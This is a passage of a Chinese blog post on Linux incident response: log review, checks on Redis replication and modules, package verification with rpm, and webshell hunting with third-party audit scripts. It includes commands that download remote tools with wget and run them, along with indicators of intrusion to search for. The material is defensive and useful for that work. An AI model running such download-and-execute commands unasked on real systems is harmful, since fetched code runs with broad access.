Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
#grep "useradd" /var/log/secure 

4、刪除用戶kali日志:
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'
# grep "userdel" /var/log/secure

5、su切換用戶:
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)

sudo授權執行:
sudo -l
Jul 10 00:43:09 localhost sudo:    good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now

0x09 日志檢查:


無論任何web服務器,都需要關注以下的日志:access_log、error_log、access.log、error.log

Apache日志:

應通過httpd.conf配置來判斷。
在httpd.conf中搜索未被注釋的、以指令字CustomLog為起始的行,該行即指定了日志的存儲位置。
搜索可使用文本搜索,也可使用grep進行:grep -i CustomLog httpd.conf | grep -v ^#
搜索結束后會獲得類似如下的搜索結果:
CustomLog /var/mylogs/access.log common
其中 /var/mylogs/access.log即為客戶日志的路徑。
若此處未指明日志的完整路徑而只是列舉日志的文件名(如:access.log),
則意指該文件存儲與默認的日志存儲目錄下(即,/var/log/httpd 或 /var/httpd 目錄)

IIS日志:

IIS日志默認存儲于 %systemroot%\system32\LogFiles\W3SVC目錄中,
日志命名方式為exYYMMDD.log(YYMMDD指:年 月 日)。
但IIS日志路徑也可通過用戶配置來指定,通過WEB站點配置可確認其位置:
WEB站點 — 屬性 — 網站 — W3C擴展日志文件格式 — 屬性 — 日志文件目錄

可以打開【Microsoft日志記錄屬性】對話框,查看日志文件目錄及日志文件名,如圖所示

常用日志檢索命令:

查看docker的命令記錄:docker logs -f -t --tail 1000 b0e34ee7b417 | more
或者直接進入docker容器里面,查看history等記錄

Solr:
ubuntu@ubuntu:/opt/solr-8.1.1/example/techproducts/logs$ ls
solr-8983-console.log  solr_gc.log.0.current  solr.log  solr.log.1  solr.log.2  solr.log.3  solr.log.4  solr_slow_requests.log

查看下log日志,直接尋找exec關鍵詞,或者payload關鍵詞

0x0A 數據庫日志排查:


1)MySQL日志在Windows系統中,MySQL的默認配置路徑為
C:\Windows\my.iniC:\Windows\mysql\my.ini
在Linux系統中,MySQL的默認配置路徑為/etc/mysql/my.cnf。查看是否開啟日志審計,若開啟,則將顯示日志路徑。

常規MySQL日志記錄配置見表

redis的日志:

vim /etc/redis/redis.conf
logfile /var/log/redis/redis-server.log

redis主從復制排查:

看下replicaton記錄,發現是有記錄的(這種情況詢問業務是否主從復制過,沒有的話卻又有主從復制的痕跡就很可疑了)

127.0.0.1:6379> info replication
# Replication
role:master
connected_slaves:0
master_replid:a5ef95e174d7d464f3563fd660e5ad8a009bef71
master_replid2:31f5d75bb871a43a2c5813da51212f9fdc31107a
master_repl_offset:0
second_repl_offset:1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

再看看加載module的記錄,雖然有MODULE UNLOAD system卸載module,但有時候異常退出時,并不會刪除,這時就會有痕跡:

127.0.0.1:6379> module list
1) 1) "name"
   2) "system"
   3) "ver"
   4) (integer) 1

還可以查看dbfilename變量:127.0.0.1:6379> config get dbfilename

0x0B 系統完整性檢測:

通過 rpm 自帶的 -Va 來校驗檢查所有的 rpm 軟件包,查看哪些命令是否被替換了:

rpm -Va > rpm.log

如果一切均校驗正常將不會產生任何輸出,如果有不一致的地方,就會顯示出來,輸出格式是8位長字符串,每個字符都用以表示文件與RPM數據庫中一種屬性的比較結果 ,如果是. (點) 則表示測試通過。

驗證內容中的8個信息的具體內容如下:

- S         文件大小是否改變
- M         文件的類型或文件的權限(rwx)是否被改變
- 5         文件MD5校驗是否改變(可以看成文件內容是否改變)
- D         設備中,從代碼是否改變
- L         文件路徑是否改變
- U         文件的屬主(所有者)是否改變
- G         文件的屬組是否改變
- T         文件的修改時間是否改變

0x0C webshell查殺:

將當前網站目錄文件與此前備份文件進行比對,查看是否存在新增的不一致內容,確定是否包含Webshell相關信息,并確定Webshell位置及創建時間。

可手工搜索可能包含Webshell特征的文件:

河馬 WebShell 查殺:http://www.shellpub.com
牧云:https://github.com/chaitin/cloudwalker

如果攻擊者在攻擊成功后利用msf中的 reverse_tcp上線,那么在Wireshark數據包中一般會有PSH標志位,如圖所示:

Linux安全檢查腳本:

linux信息收集/應急響應/常見后門/挖礦檢測/webshell檢測腳本
項目地址:https://github.com/al0ne/LinuxCheck

git clone https://github.com/al0ne/LinuxCheck.git
chmod u+x LinuxCheck.sh
./LinuxCheck.sh
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar -zxvf chkrootkit.tar.gz
cd chkrootkit-0.55/
make sense
cd ..
cp -r chkrootkit-0.55/ /usr/local/chkrootkit
chkrootkit

其他Linux安全檢查腳本:

https://github.com/grayddq/GScan
https://github.com/ppabc/security_check
https://github.com/T0xst/linux

Fastir Collector Linux:https://github.com/SekoiaLab/Fastir_Collector_Linux
收集artefacts,包括:內核版本、內核模塊、網卡、系統版本、主機名、登錄、網絡連接、SSH know_host、日志文件、進程數據、自啟動等信息:

wget https://raw.githubusercontent.com/SekoiaLab/Fastir_Collector_Linux/master/fastIR_collector_linux.py && python fastIR_collector_linux.py --debug --output_dir output 

流量檢測小工具yum install iftop lsof -y,執行iftop

<=、=> 表示流量的方向
TX 表示發送流量
RX 表示接收流量
TOTAL 表示總流量
Cum 表示運行 iftop 到目前時間的總流量
peak 表示流量峰值
rates 分別表示過去2s、10s和40s的平均流量

參考如下:


應急響應 - Webshell 處理 15
linux&windows應急響應(完善版)
update-rc.d的具體用法
Linux 應急響應
應急響應實戰筆記
攻防演練之藍隊視角下的Linux信息收集
實戰|一次應急挖礦木馬

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
禁止轉載,如需轉載請通過簡信或評論聯系作者。

推薦閱讀更多精彩內容

  • 賬號安全: 1、用戶信息文件 /etc/passwd 注意:無密碼只允許本機登陸,遠程不允許登陸 2、影子文件:/...
    張都尉閱讀 837評論 1 13
  • 0x00 前言 當企業發生黑客入侵、系統崩潰或其它影響業務正常運行的安全事件時,急需第一時間進行處理,使企業的網絡...
    Bypass007閱讀 711評論 0 1
  • 先知技術社區獨家發表本文,如需要轉載,請先聯系先知技術社區授權;未經授權請勿轉載。先知技術社區投稿郵箱:Aliyu...
    冰5042閱讀 1,941評論 0 7
  • Linux 入侵類問題排查思路 筱筱整理(2880600363) 深入分析,查找入侵原因 一、檢查隱藏帳戶及弱口令...
    筱筱_4f17閱讀 269評論 0 0
  • 如何判斷自己的服務器是否被入侵了呢?僅僅靠兩只手是不夠的,但兩只手也能起到一些作用,我們先來看看UNIX系統上一些...
    laod_wh閱讀 901評論 0 1